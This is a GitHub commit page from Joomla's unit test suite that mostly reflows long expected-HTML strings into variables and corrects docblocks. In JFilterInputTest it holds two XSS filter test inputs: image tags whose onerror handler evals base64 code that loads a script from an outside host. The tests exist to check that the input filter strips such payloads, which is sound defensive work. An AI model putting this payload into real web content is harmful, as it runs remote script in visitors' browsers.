Skip to content

Commit

Permalink
Rebase and resolve conflicts
Browse files Browse the repository at this point in the history
  • Loading branch information
elinw committed Dec 24, 2012
1 parent f587272 commit 19239c2
Show file tree
Hide file tree
Showing 22 changed files with 287 additions and 127 deletions.

Large diffs are not rendered by default.

7 changes: 4 additions & 3 deletions tests/suites/unit/joomla/database/stubs/nosqldriver.php
Expand Up @@ -399,7 +399,7 @@ public static function isSupported()
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint Savepoint name.
* @param boolean $toSavepoint If true roll back to savepoint
*
* @return void
*
Expand All @@ -413,7 +413,7 @@ public function transactionCommit($toSavepoint = false)
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint Savepoint name.
* @param boolean $toSavepoint If true roll back to savepoint
*
* @return void
*
Expand All @@ -427,11 +427,12 @@ public function transactionRollback($toSavepoint = false)
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint Savepoint name.
* @param boolean $asSavepoint If true start as savepoint
*
* @return void
*
* @since 11.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
Expand Down
Expand Up @@ -79,10 +79,17 @@ public function testRender()
$this->object->addUrl($item);
$this->object->addUrl($item2);

// Replace used to prevent platform conflicts
$expected = '<?xml version="1.0" encoding="utf-8"?>' . PHP_EOL .
'<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"><ShortName>ShortName</ShortName>' .
'<Description>Description</Description><InputEncoding>UTF-8</InputEncoding>' .
'<Url type="application/opensearchdescription+xml" rel="self" template=""/>' .
'<Url type="text/html" template="http://www.example.com"/>' .
'<Url type="application/rss+xml" rel="suggestions" template="http://www.example.com?format=feed"/>' .
'</OpenSearchDescription>' . PHP_EOL;

$this->assertThat(
preg_replace('/\v/', '', $this->object->render()),
$this->equalTo('<?xml version="1.0" encoding="utf-8"?><OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"><ShortName>ShortName</ShortName><Description>Description</Description><InputEncoding>UTF-8</InputEncoding><Url type="application/opensearchdescription+xml" rel="self" template=""/><Url type="text/html" template="http://www.example.com"/><Url type="application/rss+xml" rel="suggestions" template="http://www.example.com?format=feed"/></OpenSearchDescription>')
$this->object->render(),
$this->equalTo($expected)
);

}
Expand Down
40 changes: 31 additions & 9 deletions tests/suites/unit/joomla/filter/JFilterInputTest.php
Expand Up @@ -32,8 +32,13 @@ class JFilterInputTest extends PHPUnit_Framework_TestCase
public function casesGeneric()
{
$input = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`' .
'abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“�•–—˜™š›œžŸ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·' .
'¸¹º»¼½¾¿À�ÂÃÄÅÆÇÈÉÊËÌ�Î��ÑÒÓÔÕÖ×ØÙÚÛÜ�Þßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ';
'abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“â' .
'€�•–—˜™š›œžŸ¡¢£¤¥Â' .
'¦Â§Â¨Â©ÂªÂ«Â¬Â­Â®Â¯Â°Â±Â²Â³Â´ÂµÂ¶Â·' .
'¸¹º»¼½¾¿À�ÂÃÄÅÆÇÈÉÊË' .
'ÃŒÃ�ÃŽÃ�Ã�ÑÒÓÔÕÖ×ØÙÚÛÜÃ�ÞÃ' .
'ŸÃ Ã¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã©ÃªÃ«Ã¬Ã­Ã®Ã¯Ã' .
'°Ã±Ã²Ã³Ã´ÃµÃ¶Ã·Ã¸Ã¹ÃºÃ»Ã¼Ã½Ã¾Ã¿';

return array(
'int_01' => array(
Expand Down Expand Up @@ -623,6 +628,10 @@ public function testCleanByCallingMember($type, $data, $expect, $message)
*/
public function whitelistImg()
{
$security20110329bString = "<img src='<img src='/onerror=eval" .
"(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3J" .
"jJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=/.source))//'/> ";

$casesSpecific = array(
'Kill script' => array(
'',
Expand Down Expand Up @@ -699,7 +708,7 @@ public function whitelistImg()
),
'security_20110329b' => array(
'string',
"<img src='<img src='/onerror=eval(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=/.source))//'/> ",
$security20110329bString,
'<img /> ',
'From specific cases'
),
Expand Down Expand Up @@ -984,6 +993,15 @@ public function testCleanWithImgAndClassWhitelisted($type, $data, $expect, $mess
*/
public function blacklist()
{
$quotesInText1 = '<p class="my_class">This is a = "test" ' .
'<a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>';
$quotesInText2 = '<p class="my_class">This is a = "test" ' .
'<a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>';
$normalNested1 = '<p class="my_class">This is a <a href="http://mysite.com" img = "my_image">link test</a>.' .
' This is <span class="myclass" font = "myfont" > some more</span> text.</p>';
$normalNested2 = '<p class="my_class">This is a <a href="http://mysite.com" img="my_image">link test</a>. ' .
'This is <span class="myclass" font="myfont"> some more</span> text.</p>';

$casesSpecific = array(
'security_tracker_24802_a' => array(
'',
Expand Down Expand Up @@ -1071,14 +1089,14 @@ public function blacklist()
),
'quotes_in_text' => array(
'string',
'<p class="my_class">This is a = "test" <a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>',
'<p class="my_class">This is a = "test" <a href="http://mysite.com" img="my_image">link test</a>. This is some more text.</p>',
$quotesInText1,
$quotesInText2,
'Test valid nested tag'
),
'normal_nested' => array(
'string',
'<p class="my_class">This is a <a href="http://mysite.com" img = "my_image">link test</a>. This is <span class="myclass" font = "myfont" > some more</span> text.</p>',
'<p class="my_class">This is a <a href="http://mysite.com" img="my_image">link test</a>. This is <span class="myclass" font="myfont"> some more</span> text.</p>',
$normalNested1,
$normalNested2,
'Test valid nested tag'
),
'hanging_quote' => array(
Expand Down Expand Up @@ -1193,6 +1211,11 @@ public function testCleanWithDefaultBlackList($type, $data, $expect, $message)
*/
public function blacklistImg()
{
$security20110328String = "<img src='<img src='/onerror=" .
"eval(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGV" .
"tZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=" .
"/.source))//'/> ";

$casesSpecific = array(
'Kill script' => array(
'',
Expand Down Expand Up @@ -1245,8 +1268,7 @@ public function blacklistImg()
),
'security_20110328' => array(
'string',
"<img src='<img
src='/onerror=eval(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=/.source))//'/> ",
$security20110328String,
' ',
'From specific cases'
),
Expand Down
5 changes: 3 additions & 2 deletions tests/suites/unit/joomla/filter/JFilterOutputTest.php
Expand Up @@ -233,8 +233,9 @@ public function testStripIframes()
{
$this->assertEquals(
'Hello I am waving at you.',
$this->object->stripIframes('Hello <iframe src="http://player.vimeo.com/video/37576499" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe> I am waving at you.'),
'Should remove iFrame tags'
$this->object->stripIframes('Hello <iframe src="http://player.vimeo.com/video/37576499" width="500"' .
' height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe> I am waving at you.'),
'Should remove iFrame tags'
);
}
}
10 changes: 8 additions & 2 deletions tests/suites/unit/joomla/form/JFormFieldTest.php
Expand Up @@ -191,9 +191,12 @@ public function testGetLabel()
'Line:' . __LINE__ . ' The setup method should return true if successful.'
);

$equals = '<label id="title_id-lbl" for="title_id" class="hasTip required" ' .
'title="Title::The title.">Title<span class="star">&#160;*</span></label>';

$this->assertThat(
$field->getLabel(),
$this->equalTo('<label id="title_id-lbl" for="title_id" class="hasTip required" title="Title::The title.">Title<span class="star">&#160;*</span></label>'),
$this->equalTo($equals),
'Line:' . __LINE__ . ' The property should be computed from the XML.'
);

Expand Down Expand Up @@ -406,9 +409,12 @@ public function testSetup()
'Line:' . __LINE__ . ' The property should be computed from the XML.'
);

$equals = '<label id="title_id-lbl" for="title_id" class="hasTip required" title="Title::The title.">' .
'Title<span class="star">&#160;*</span></label>';

$this->assertThat(
$field->label,
$this->equalTo('<label id="title_id-lbl" for="title_id" class="hasTip required" title="Title::The title.">Title<span class="star">&#160;*</span></label>'),
$this->equalTo($equals),
'Line:' . __LINE__ . ' The property should be computed from the XML.'
);

Expand Down
8 changes: 6 additions & 2 deletions tests/suites/unit/joomla/form/JFormTest.php
Expand Up @@ -1098,7 +1098,8 @@ public function testGetInput()
$this->equalTo(
'<input type="text" name="jform[translate_default]" id="jform_translate_default" value="DEFAULT_KEY"/>'
),
'Line:' . __LINE__ . ' The method should return a simple input text field whose value is untranslated since the DEFAULT_KEY does not exist in the language.'
'Line:' . __LINE__ .
' The method should return a simple input text field whose value is untranslated since the DEFAULT_KEY does not exist in the language.'
);

$lang = JFactory::getLanguage();
Expand Down Expand Up @@ -1137,9 +1138,12 @@ public function testGetLabel()
'Line:' . __LINE__ . ' XML string should load successfully.'
);

$expected = '<label id="title_id-lbl" for="title_id" class="hasTip required" ' .
'title="Title::The title.">Title<span class="star">&#160;*</span></label>';

$this->assertThat(
$form->getLabel('title'),
$this->equalTo('<label id="title_id-lbl" for="title_id" class="hasTip required" title="Title::The title.">Title<span class="star">&#160;*</span></label>'),
$this->equalTo($expected),
'Line:' . __LINE__ . ' The method should return a simple label field.'
);
}
Expand Down
48 changes: 41 additions & 7 deletions tests/suites/unit/joomla/form/fields/JFormFieldCheckboxesTest.php
Expand Up @@ -62,8 +62,13 @@ public function testGetInputNoValueNoChecked()
TestReflection::setValue($formFieldCheckboxes, 'id', 'myTestId');
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul>' .
'<li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li>' .
'<li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/>' .
'<label for="myTestId1">blue</label></li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with no value and no checked values did not produce the right html'
);
Expand Down Expand Up @@ -104,8 +109,14 @@ public function testGetInputValueNoChecked()
TestReflection::setValue($formFieldCheckboxes, 'value', 'red');
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul>' .
'<li><input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/>' .
'<label for="myTestId0">red</label></li>' .
'<li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label>' .
'</li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with one value did not produce the right html'
);
Expand Down Expand Up @@ -147,8 +158,12 @@ public function testGetInputValueArrayNoChecked()
TestReflection::setValue($formFieldCheckboxes, 'value', $valuearray);
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$fieldsetString = '<fieldset id="myTestId" class="checkboxes"><ul>' .
'<li><input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/><label for="myTestId0">red</label></li>' .
'<li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$fieldsetString,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with one value did not produce the right html'
);
Expand Down Expand Up @@ -188,8 +203,13 @@ public function testGetInputNoValueOneChecked()
TestReflection::setValue($formFieldCheckboxes, 'id', 'myTestId');
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul>' .
'<li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li>' .
'<li><input type="checkbox" id="myTestId1" name="myTestName" value="blue" checked="checked"/>' .
'<label for="myTestId1">blue</label></li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue" checked="checked"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with no values and one value in the checked element did not produce the right html'
);
Expand Down Expand Up @@ -230,8 +250,13 @@ public function testGetInputNoValueTwoChecked()
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');
TestReflection::setValue($formFieldCheckboxes, 'value', '""');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul>' .
'<li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li>' .
'<li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label>' .
'</li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with no values and two items in the checked element did not produce the right html'
);
Expand Down Expand Up @@ -272,8 +297,13 @@ public function testGetInputValueChecked()
TestReflection::setValue($formFieldCheckboxes, 'value', 'red');
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul><li>' .
'<input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/>' .
'<label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/>' .
'<label for="myTestId1">blue</label></li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red" checked="checked"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with one value and a different value in the checked element did not produce the right html'
);
Expand Down Expand Up @@ -314,8 +344,12 @@ public function testGetInputValuesNoChecked()
TestReflection::setValue($formFieldCheckboxes, 'value', 'yellow,green');
TestReflection::setValue($formFieldCheckboxes, 'name', 'myTestName');

$expected = '<fieldset id="myTestId" class="checkboxes"><ul><li>' .
'<input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li><li>' .
'<input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>';

$this->assertEquals(
'<fieldset id="myTestId" class="checkboxes"><ul><li><input type="checkbox" id="myTestId0" name="myTestName" value="red"/><label for="myTestId0">red</label></li><li><input type="checkbox" id="myTestId1" name="myTestName" value="blue"/><label for="myTestId1">blue</label></li></ul></fieldset>',
$expected,
TestReflection::invoke($formFieldCheckboxes, 'getInput'),
'The field with two values did not produce the right html'
);
Expand Down
5 changes: 4 additions & 1 deletion tests/suites/unit/joomla/form/fields/JFormFieldSQLTest.php
Expand Up @@ -52,8 +52,11 @@ public function testGetInput()
{
$form = new JFormInspector('form1');

$expected = '<form><field name="sql" type="sql" key_field="id" query="SELECT * FROM `jos_categories`">' .
'<option value="*">None</option></field></form>';

$this->assertThat(
$form->load('<form><field name="sql" type="sql" key_field="id" query="SELECT * FROM `jos_categories`"><option value="*">None</option></field></form>'),
$form->load($expected),
$this->isTrue(),
'Line:' . __LINE__ . ' XML string should load successfully.'
);
Expand Down

0 comments on commit 19239c2

Please sign in to comment.